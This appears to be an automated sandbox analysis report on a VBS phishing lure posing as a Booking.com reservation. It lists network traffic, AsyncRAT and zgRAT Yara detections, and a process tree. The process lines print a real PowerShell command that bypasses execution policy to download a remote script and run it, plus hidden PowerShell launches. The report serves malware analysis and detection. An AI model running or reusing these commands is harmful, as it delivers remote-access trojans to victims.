Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 51201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 51082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 50987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 51001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51209
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51202
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 50685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 50897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50367
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51213
Source: unknown	Network traffic detected: HTTP traffic on port 50923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50779
Source: unknown	Network traffic detected: HTTP traffic on port 50911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50778
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50772
Source: unknown	Network traffic detected: HTTP traffic on port 51025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50774
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50787
Source: unknown	Network traffic detected: HTTP traffic on port 51057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50789
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50780
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50786
Source: unknown	Network traffic detected: HTTP traffic on port 51139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50785
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 50955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown	Network traffic detected: HTTP traffic on port 51245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50797
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 50828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 50915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51145
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51143
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51147
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51152
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51150
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51154
Source: unknown	Network traffic detected: HTTP traffic on port 51061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51157
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51160
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 443

Source: unknown	HTTPS traffic detected: 24.152.39.120:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50262 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 25.2.powershell.exe.18786a18480.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 30.2.powershell.exe.1ed141288a8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 25.2.powershell.exe.18786a18480.1.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 14.2.powershell.exe.2a1634d9528.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 30.2.powershell.exe.1ed141288a8.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 14.2.powershell.exe.2a1634d9528.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 14.2.powershell.exe.2a173272d80.1.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 25.2.powershell.exe.187865b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 18.2.powershell.exe.25dd6464380.1.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 18.2.powershell.exe.25dc66c8ce0.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 18.2.powershell.exe.25dc66c8ce0.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 25.2.powershell.exe.187865b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 18.2.powershell.exe.25dd6464380.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 14.2.powershell.exe.2a173272d80.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 25.2.powershell.exe.18786a18480.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 30.2.powershell.exe.1ed141288a8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 18.2.powershell.exe.25dc66c8ce0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 14.2.powershell.exe.2a1634d9528.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: Process Memory Space: powershell.exe PID: 6256, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1"

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848CD0A6F	3_2_00007FF848CD0A6F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848C0A1DF	14_2_00007FF848C0A1DF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848C04D8B	14_2_00007FF848C04D8B

Source: Reservation Detail Booking.com ID4336.vbs

Initial sample: Strings found which are bigger than 50

Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 25.2.powershell.exe.18786a18480.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 30.2.powershell.exe.1ed141288a8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
